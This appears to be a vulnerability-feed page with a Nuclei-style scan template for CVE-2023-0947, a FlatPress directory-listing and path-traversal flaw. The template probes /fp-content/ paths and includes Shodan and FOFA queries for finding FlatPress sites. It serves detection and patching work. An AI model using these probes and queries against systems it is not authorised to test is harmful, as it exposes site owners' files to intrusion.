CVE-2023-0947: Flatpress < 1.3 - Path Traversal

2025-08-01 Flatpress PoC Public

Description

Path Traversal in GitHub repository flatpressblog/flatpress prior to 1.3.

PoC

id: CVE-2023-0947

info:
  name: Flatpress < 1.3 - Path Traversal
  author: r3Y3r53
  severity: critical
  description: |
    Path Traversal in GitHub repository flatpressblog/flatpress prior to 1.3.
  impact: |
    Unauthenticated attackers can exploit path traversal to access and list sensitive directories and files in the FlatPress blogging system, potentially exposing configuration files and user data.
  remediation: |
    Update FlatPress to version 1.3 or later that properly validates directory paths and prevents unauthorized directory listing in fp-content.
  reference:
    - https://huntr.dev/bounties/7379d702-72ff-4a5d-bc68-007290015496/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0947
    - https://github.com/flatpressblog/flatpress/commit/9c4e5d6567e446c472f3adae3b2fe612f66871c7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-0947
    cwe-id: CWE-22
    epss-score: 0.03637
    epss-percentile: 0.8897
    cpe: cpe:2.3:a:flatpress:flatpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: flatpress
    product: flatpress
    shodan-query:
      - http.favicon.hash:-1189292869
      - http.html:"flatpress"
    fofa-query:
      - body="flatpress"
      - icon_hash=-1189292869
  tags: cve,cve2023,huntr,lfi,flatpress,listing,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/fp-content/"
      - "{{BaseURL}}/flatpress/fp-content/"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<title>Index of /fp-content</title>")'
        condition: and
# digest: 4a0a00473045022100b3bc7a1dabc9bb1274d4c40f8c9302519dbcddfc2af0c370aefd673e7667139e02200b7c4bc86c6533f87bd042eaed75143808266d371cd3408044d257bdc707510e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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